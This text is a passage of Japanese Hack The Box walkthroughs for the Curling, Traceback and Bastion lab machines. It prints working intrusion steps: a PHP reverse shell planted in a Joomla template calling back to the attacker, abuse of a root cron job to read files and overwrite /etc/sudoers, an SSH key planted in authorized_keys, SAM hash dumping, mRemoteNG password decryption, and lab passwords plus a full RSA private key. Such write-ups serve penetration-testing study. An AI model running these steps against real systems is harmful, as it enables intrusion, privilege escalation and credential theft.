(Status: 301) /includes (Status: 301) /index.php (Status: 200) /index.php (Status: 200) /language (Status: 301) /layouts (Status: 301) /libraries (Status: 301) /LICENSE.txt (Status: 200) /media (Status: 301) /modules (Status: 301) /plugins (Status: 301) /README.txt (Status: 200) /secret.txt (Status: 200) /server-status (Status: 403) /templates (Status: 301) /tmp (Status: 301) /web.config.txt (Status: 200) =============================================================== 2020/09/20 13:28:44 Finished ===============================================================
いくつか気になるのが見つかる。
webページの探索
gobusterで検出されたディレクトリ、ファイルを見に行く。
/administrator
Joomlaの管理画面。
secret.txt
base64デコードしてみた。
root@kali:~# echo "Q3VybGluZzIwMTgh" | base64 -d Curling2018!
パスワード?
Joomla管理画面の認証
ディレクトリスキャンで発見した/administratorに対し、「ユーザ名:Floris」と「パスワードCurling2018!」でログインに成功。
ソースコードの改ざん
Joomla初体験のため、UIの雰囲気が分からない。webshellをアップロードしたかったが、ファイルをアップロードできる箇所が見当たらなかった。
しかし、[CONFIGURATION]→[Template]→[Styles]からソースコードの編集ができそうだ。
Styleとやらの候補は2つあったので、Protostar
という方をwebshellの機能を持ったコードに編集することにする。
phpのリバースシェルを実現するwebshellを持ってくる。
root@kali:~/curling# wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz root@kali:~/curling# tar -xvf php-reverse-shell-1.0.tar.gz
ここで解凍されたphpのwebshellをコピペし、パラメータの値を自身(攻撃側)のIPアドレスに変更して保存。
www-dataでのシェル奪取
攻撃側で待ち受けた状態で、以下のURLにアクセスしたら、www-userでシェルが返ってきた。 http://10.10.10.150/templates/protostar/component.php
root@kali:~/curling# nc -lvp 1234 listening on [any] 1234 ... 10.10.10.150: inverse host lookup failed: Unknown host connect to [10.10.14.14] from (UNKNOWN) [10.10.10.150] 57424 Linux curling 4.15.0-22-generic #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux 05:08:28 up 44 min, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ whoami www-data $ python3 -c 'import pty; pty.spawn("/bin/bash")' python3 -c 'import pty; pty.spawn("/bin/bash")' www-data@curling:/$
user.txt取得まで
www-data@curling:/$ ls -l /home ls -l /home total 4 drwxr-xr-x 6 floris floris 4096 May 22 2018 floris www-data@curling:/$ ls -l /home/floris ls -l /home/floris total 12 drwxr-x--- 2 root floris 4096 May 22 2018 admin-area -rw-r--r-- 1 floris floris 1076 May 22 2018 password_backup -rw-r----- 1 floris floris 33 May 22 2018 user.txt www-data@curling:/$ cat /home/floris/password_backup cat /home/floris/password_backup 00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H.. 00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4 00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...` 00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@...... 00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h.. 00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4 00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J.. 00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x 00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1 00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s." 000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R. 000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p.. 000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C 000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*.. 000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P. 000000f0: 819b bb48 ...H www-data@curling:/$
password_backupのパーミッションが644だったので、www-userでも中身が見れた。
ローカルに持ってきて、バイナリデータに変換。
root@kali:~/curling# xxd -r password_backup data root@kali:~/curling# file data data: bzip2 compressed data, block size = 900k root@kali:~/curling# bzip2 -d data bzip2: Can't guess original name for data -- using data.out root@kali:~/curling# file data.out data.out: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141 root@kali:~/curling# gzip -d data.gz root@kali:~/curling# file data data: bzip2 compressed data, block size = 900k root@kali:~/curling# bzip2 -d data bzip2: Can't guess original name for data -- using data.out root@kali:~/curling# file data.out data.out: POSIX tar archive (GNU) root@kali:~/curling# tar -xvf data.out password.txt root@kali:~/curling# cat password.txt 5d<wdCbdZu)|hChXll
bzip2→gzip→bzip2と解凍していくと、tar archiveが出てくる。これを展開すると、パスワードが見つかる。
www-data@curling:/$ su floris su floris Password: 5d<wdCbdZu)|hChXll floris@curling:/$ cat /home/floris/user.txt cat /home/floris/user.txt 65XXXXXXXXXXXXXXXXXXXX
権限昇格のための情報収集
floris@curling:/$ sudo -l sudo -l [sudo] password for floris: 5d<wdCbdZu)|hChXll Sorry, user floris may not run sudo on curling.
sudoの権限はない。
floris@curling:/$ find / -perm -4000 2>/dev/null find / -perm -4000 2>/dev/null /snap/core/4486/bin/mount /snap/core/4486/bin/ping /snap/core/4486/bin/ping6 /snap/core/4486/bin/su /snap/core/4486/bin/umount /snap/core/4486/usr/bin/chfn /snap/core/4486/usr/bin/chsh /snap/core/4486/usr/bin/gpasswd /snap/core/4486/usr/bin/newgrp /snap/core/4486/usr/bin/passwd /snap/core/4486/usr/bin/sudo /snap/core/4486/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core/4486/usr/lib/openssh/ssh-keysign /snap/core/4486/usr/lib/snapd/snap-confine /snap/core/4486/usr/sbin/pppd /usr/lib/openssh/ssh-keysign /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/lib/snapd/snap-confine /usr/lib/eject/dmcrypt-get-device /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/policykit-1/polkit-agent-helper-1 /usr/bin/newgidmap /usr/bin/chsh /usr/bin/pkexec /usr/bin/chfn /usr/bin/newuidmap /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/at /usr/bin/passwd /usr/bin/sudo /usr/bin/traceroute6.iputils /bin/umount /bin/fusermount /bin/su /bin/ntfs-3g /bin/ping /bin/mount floris@curli
SUIDが設定されているファイルで使えそうなものもなさそう。
floris@curling:/$ uname -a uname -a Linux curling 4.15.0-22-generic #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
カーネルのバージョンだけ、とりあえず調べておいた。
cronで実行されているプロセスを見るためにpspy
を攻撃側から持ってくる。
攻撃側環境でpythonで待ち受けて・・・
root@kali:~/tools/pspy# python -m SimpleHTTPServer 8080
wget
でとりに行き、実行。
floris@curling:/tmp$ wget http://10.10.14.14:8080/pspy64 wget http://10.10.14.14:8080/pspy64 --2020-09-20 08:33:53-- http://10.10.14.14:8080/pspy64 Connecting to 10.10.14.14:8080... connected. HTTP request sent, awaiting response... 200 OK Length: 3078592 (2.9M) [application/octet-stream] Saving to: ‘pspy64’ pspy64 100%[===================>] 2.94M 1.39MB/s in 2.1s 2020-09-20 08:33:56 (1.39 MB/s) - ‘pspy64’ saved [3078592/3078592] floris@curling:/tmp$ chmod +x pspy64 chmod +x pspy64 floris@curling:/tmp$ ./pspy64 ./pspy64 (snip) 2020/09/20 08:35:20 CMD: UID=0 PID=1 | /sbin/init maybe-ubiquity 2020/09/20 08:36:01 CMD: UID=0 PID=16186 | sleep 1 2020/09/20 08:36:01 CMD: UID=0 PID=16185 | /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report 2020/09/20 08:36:01 CMD: UID=0 PID=16184 | /bin/sh -c sleep 1; cat /root/default.txt > /home/floris/admin-area/input 2020/09/20 08:36:01 CMD: UID=0 PID=16182 | /usr/sbin/CRON -f 2020/09/20 08:36:01 CMD: UID=0 PID=16181 | /usr/sbin/CRON -f 2020/09/20 08:36:01 CMD: UID=0 PID=16187 | curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report (snip)
curl
で/home/floris/admin-area/input
をコンフィグファイルとし、そのレスポンスを/home/floris/admin-area/report
に出力しているようだ。
root権限で実行されているため、/home/floris/admin-area/input
をうまく書き換えれば、root.txtが/home/floris/admin-area/report
に出力できそうだ。
/admin-area配下のファイルの確認
floris@curling:~/admin-area$ ls ls input report floris@curling:~/admin-area$ cat input cat input url = "http://127.0.0.1" floris@curling:~/admin-area$ cat report (snip)
inputには、curlの引数となるurlの記載がある。これをroot.txtに置き換える。
root.txt取得まで
floris@curling:~/admin-area$ echo 'url = "file:///root/root.txt"' > input floris@curling:~/admin-area$ cat input url = "file:///root/root.txt" floris@curling:~/admin-area$ cat report 82XXXXXXXXXXXXXXXX
おまけ(walkthroughを見て、こんなことをやっている人もいた)
秘密鍵の取得
floris@curling:~/admin-area$ echo 'url = "file:///etc/ssh/ssh_host_rsa_key"' > input floris@curling:~/admin-area$ cat report -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAxrGrd9mhiR027tIEFPRWCDJTKhf7osrU2epbFvhCKHb5T6eg ruVR37NohBXeZ359LPve6k3ydufJX+xpN6x61C7wq1In9sE4SHlt5uH0uY+jtmT4 79BpeYNNkyLUpJcEJoyX8h9CkeW9Q/Wxgl0FdxpufOQw/MGazqU8Q4xgp5gcmKB4 rXxurGtSwu0nJG/IPSpuNH73yjz1jB4M1IVwt4N8F8o113gcmb4Y2wALjr+zCnWu jI3jVB+9YZIkEZE8GfKqmPX2ww50ijh3ZAtknLPvLXKc/ACHpHP4Zg0p/kCm7Pt4 ldBS6FvUzj5k/Mc+OXrZ6lug4YZXKzu2hY7t9wIDAQABAoIBAHhKxnHH63k0m7ZY pan+BzvtI9ZfMLRtMhJARSeR45PV+7hS1wAry7awSn11M/HabXRXhKy7xihgydTu LwFKxg5B4OkH0zQb5LRT98qJT/0rzkS1utSNi93KNaP3uV9wIk4oXjFy5X2o5j4H uJEhOhbShMPN7y6HE+85sFOA4F91sLCz6ImF5pzQjDKQT21NESuYCjuxfHdStn4t TiL01PbTRWnBl4fe33nfqCT+bMUlyx81xbmUnNunBp9b+qoSRgsEqJdiKgCKd399 PgUBGtB1vyBL6Jmoqhtpkm2CfpDmKj/2CedZS32BsDYARh3lMiStxfEz58IO9ECm BtpmvlECgYEA+JaYujg4sQeT7wuONF6mKo0Y4/7wMGmiKAajtp5Ojptrz7mg70Js 6cDxdjkLMq81iGpuXNKaD06CQT0dqLzZC6LMmGSVErp8l2T8KI9FRT9vlES20s50 loPO1TuhZjhQSvzOxx84KF7s19VqOedlkbUJ+v7LIYkrS/ChloXu428CgYEAzJ4+ oWUgBWZJhvAGBOLbh8j6jVplA2pW+sH+UaRaGW0Bumny/gnKuhw/rr0xiykQcH6w 9vmtfA1iXnd6DL3ZtQ3gz3HHO0Lmc10ROVZtloSgrk8GYhbGhaQ354JRhGD3G2jv yu8D30LvzmIkruy2QRWP5Rn4DCZKCLwJLOFwOfkCgYAJCvFjVMg7KFtpRrJVlVvW EGvnX069dBpB+nvaGMgix+SUGdyQ14m+txYRhuGxZk48OCLrnX2dMO3sEZ0SlkwO 8E0g/geuNrpxh2rkztFmQ3h7nERKRthW4VSUzSaB4WqKT8f11lzkmw9iipDiqlg3 hK5oQvyAq8y3Znl6UETwYQKBgGluzKTK/6Hon9BY0zEnV6jyxS+auVv2KlVRKmMV BZv+UBqmxx9hGkWlkqbOM74Z7a+ZiEPqSRsXpm04sPnpxUkGmqUpYlhF04r0FJDv 2M3rDwRiEc7vH2HzSR8QRkKo2AsWmiB94gfjbL9yUKaVsB9/JcMOC4LvI8y2Xx/y Faq5AoGAIhRirESXCfGk/UmklDq95IjEP9RSMBIupANg3XfAKM6+l10FL/6KpvVb WVow0KvgoP8ioOXEGTgOzDINkzhlNezSTWFhjbz/ngLXVWIPD5PwkMrIwSYTvN3f 6HdAhsrnvCgihygg/IAJJAo8yOA1iqwGp+L+25HS6GdeYLYMuxo= -----END RSA PRIVATE KEY-----
sudo実行権限を付与
floris@curling:~/admin-area$ echo ' floris ALL=(ALL:ALL) ALL' > my-sudoers floris@curling:~/admin-area$ echo -e 'url = "file:///home/floris/my-sudoers"\noutput = "/etc/sudoers"' > input floris@curling:~/admin-area$ sudo su - [sudo] password for floris: root@curling:~# whoami root
【Hack The Box】Traceback Walkthrough
はじめに
ポートスキャン
# nmap -sC -sV -Pn 10.10.10.181
22(ssh)、80(http)が開いている。
ブラウザで80番へアクセス
ブラウザでアクセス後、ソースを見てみると、コメントで以下が書かれていた。
<!--Some of the best web shells that you might need ;)-->
webshellの検索
上記コメントを検索してみると、以下のページが見つかる。このマシンの作者(Xh4h)のgithubのページだ。 github.com
このページにあるwebshellが存在することが予想できるため、以下のようにwebshell
という名前でワードリストを作成した。
root@kali:~/traceback# cat websehll alfa3.php alfav3.0.1.php andela.php bloodsecv4.php by.php c99ud.php cmd.php configkillerionkros.php jspshell.jsp mini.php obfuscated-punknopass.php punk-nopass.php punkholic.php r57.php smevk.php wso2.8.5.php
ディレクトリスキャン
作成したワードファイルを使ってディレクトリスキャン。
# gobuster dir -u http://10.10.10.181 -w websehll
/smevk.phpを発見。
webshellの操作
/smevk.phpにアクセスすると、認証情報を求められるが、githubページのソースに以下のような記載があり、admin/admin
でログインできた。
$UserName = "admin"; //Your UserName here.
auth_pass = "admin"; //Your Password.
smevk.phpは以下のような画面。
webadmin
というユーザの権限でシェルが操作できる。
/home/webadmin
配下にはuser.txtはなかったが/home
にはもう一人のユーザsysadmin
がいた。
このwebshellが操作しにくいので、ssh接続できるように攻撃者側の公開鍵(id_rsa.pub)を/home/webadmin/.ssh/authorized_keys
に追記する。
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOAXInxQYyXzFm+8GCb7ipAiB4tDz2iYYgGGvvBD48mJPrVdH8FwkW7dE9Oszg4FSN57bo44mg3thNOZ1dCQyjk+V1KoUeY9Vf8jNcNs1mBpBE8MQ+F/FRtWTZGk36x+mdSw/iNpqzV6XWLN5X+MDQ2nwagq/yvHD70HxE84WhlZ/5D40Xanwu9NBXncn9itqc+u9ta76NNyuGg2MBzmJxfwsSAG4v/sMP4lhCN7ez+vdObhqzImzScc6Oe1Typoood3fPNMCgX8mhAO+n/uQSMGslhLllON/Dxa48wp85F3qTZ7GhSGtTQn3iFzKal+o3mrybnJOJ9tiS2JUt5D/BEI6+YPD3fhnAfnC2vCiilijUzG89giTZIjgESNwlNShZrbTui8VS2VJml7/tFO003ifaxGcHPq0jJuA/x3bj/TfvUw1sJRqzbkF/sDSGpWZWvsLCi/JNVdEmEY/2gRC+c3Kjo3gqHq8ErfzezayhCgg1Q0S3Y/uMujwFqLcd1F8= root@kali" >> authorized_keys
追記できたことを確認。
userシェル取得まで
公開鍵認証方式でターゲットマシンにssh接続する。
ssh webadmin@10.10.10.181 -i /root/.ssh/id_rsa
メッセージが表示された後、接続に成功した。
/home/webadmin
配下にあるnote.txtを見ると、luaを練習するためのツールを置きっぱなしにしてしまったと書かれている。
webadmin@traceback:~$ cat note.txt - sysadmin - I have left a tool to practice Lua. I'm sure you know where to find it. Contact me if you have any question.
続いて、sudoの権限を確認すると、パスワードなしで/home/sysadmin/luvit
とやらが実行できそうだったので、sysadminで実行してみた。
$ sudo -l $ sudo -u sysadmin /home/sysadmin/luvit
インタプリタのようだ。上述のnote.txtにも書かれていたが、luaのインタプリタだろう。
luaのことは全く分からなかったので、以下を参考にした。 https://gtfobins.github.io/gtfobins/lua/
インタプリタ上でos.execute("/bin/bash")
を実行したら、sysadminの権限でbashのシェルが使えるようになった。
これでuser.txt取得完了。
権限昇格のための情報収集
sudo実行権限を確認しようとしたが、パスワードが求められたためだめ。
sshアクセスした際にメッセージが表示されたいたことから、sshアクセス時に何らかのスクリプトが実行されていると考え、
pspy
を使うことにする。OSは64bitだったので、pspy64
を攻撃者側環境から持ってくる。
攻撃者環境でpythonのSimpleHTTPServer
で待ち受けた状態で、以下を実行する。
$ http://10.10.14.13:8888/pspy64 $ chmod +x pspy64 $ ./pspy64
別シェルからwebadminでssh接続し、pspy
の出力をモニタリングする。root権限で青字のプロセスが実行されている。
/etc/update-motd.d
配下のファイルにアクセスしているようなので、ここを見に行く。
00-header
というファイル末尾に、ssh接続した際に表示されたメッセージの記載がある。つまり、ssh接続するとroot権限でこのスクリプトが実行されるため、ここにroot.txtを読み出すようなコマンドを書けば良さそうだ。
root.txt取得まで
/etc/update-motd.d/00-header
の末尾に以下を追加した。
$ echo "cat /root/root.txt" >> /etc/update-motd.d/00-header
追加後、別シェルでssh接続するとroot.txtが表示された。
【Hack The Box】Bastion Walkthrough
はじめに
ポートスキャン
# nmap -sC -sV -Pn 10.10.10.134
22(ssh)、135(msrpc)、139(netbios-ssn)、445(microsoft-ds)が開いている。
445はguestユーザでアクセスができそうだ。
445ポートにNSE実行
445ポートにNSE(vuln)を実行。
# nmap --script vuln -p 445 10.10.10.134
何も検知されない。
共有フォルダのアクセス権限の確認
# smbclient -L 10.10.10.134 -U guest
$
がついているフォルダにアクセスするには、Windows側でユーザとして登録されており、かつパスワードが設定されていなければならない。
$
がついていないものは手動で共有設定にしたものであり、今回はBackups
にアクセスできそうということが分かる。
smbmap
だと以下のように出力される。
# smbmap -H 10.10.10.134 -u guest
※user名指定しないと、実行失敗。かつ、ユーザ名は適当でOK。
Backupsフォルダのマウント
smbclient
で接続しても良いが、linuxの標準コマンドを使いたいので、マウントする。
# mount -t cifs -o username=guest //10.10.10.134/Backups /mnt/Backups
/mnt/Backups/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351
に拡張子がvhd
のサイズがでかいファイルがある。
このバックアップファイルはハードディスクの完全なバックアップである、システムイメージと呼ばれるもの。
参考:Windows 10 バックアップを作成する
vhdのマウント
vhd
のマウント方法は以下を参考にした。
How to mount a VHD file on linux – Exotic Security
linux環境でvhdファイルをマウントするguestmount
というツールがあるらしい。
以下でインストールする。
# apt install libguestfs-tools
マウントする。
# guestmount --add 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd -i --ro /mnt/vhd/ -a|--add image Add image -i|--inspector Automatically mount filesystems -r|--ro Mount read-only
※5分くらいかかってマウント完了。
マウントしたvhdの調査
L4mpjeというユーザの存在が確認できる。ポートスキャン結果より、sshが開いているため、L4mpjeのパスワードを調べたい。
samdump2
を使ってパスワードハッシュをダンプするために、レジストリハイブファイルのSAM
とSYSTEM
を使う。
samdump2
を実行。
# samdump2 SYSTEM SAM
L4mpjeのパスワードハッシュが取得できた。一番下の行だけ抽出し、hash.txtとする。左がLMハッシュ、右がNTLMハッシュ。
john
では平文を取得できなかったため、以下のサービスを使った。
CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.
パスワードbureaulampje
を取得。
※このページでもLMハッシュはからは平文を取得できなかった。
userシェル獲得まで
ユーザ名:L4mpje、パスワード:bureaulampjeでsshログイン。
# ssh L4mpje@10.10.10.134
デスクトップにあるuser.txt見つけた。
権限昇格のための情報収集
windows-exploit-suggester
を実行しるために、引数として必要なsysteminfo
の実行結果の取得を試みたが、systeminfo
コマンドは実行できず。
続いて、アプリケーションに依存する脆弱性を探すために、何がインストールされているかをprogram files
に見に行く。
program files配下にmRemoteNG
というフォルダを発見した。リモート接続ツールのようだ。デフォルト以外でインストールされたアプリケーションはこれくらいだったので、mRemoteNG
に注目してみる。
アプリケーションやプログラムの設定を保存しいるRoaming
フォルダを見に行く。ここに、多数のバックアップファイル共にconfCons.xml
という名前のファイルが見つかった。
中身を確認すると、何らかの方法でエンコード、もしくはハッシュ化されたAdministratorのパスワードが見つかる。
Administratorの平文パスワード取得
見つけた文字列は以下。
aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==
base64に見えたが、文字数も87文字だし違うようだ。
mRemoteng decrypt password
で検索すると、以下のサイトが見つかる。これを使ってみる。
github.com
# git clone https://github.com/haseebT/mRemoteNG-Decrypt # cd mRemoteNG-Decrypt/ # python3 mremoteng_decrypt.py -s aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==
抽出成功。パスワードはthXLHM96BeKL0ER2
とわかる。
root(Administrator)シェル獲得まで
見つけたパスワードでssh接続して、Administratorのシェルをゲットして終了。
# ssh Administrator@10.10.10.134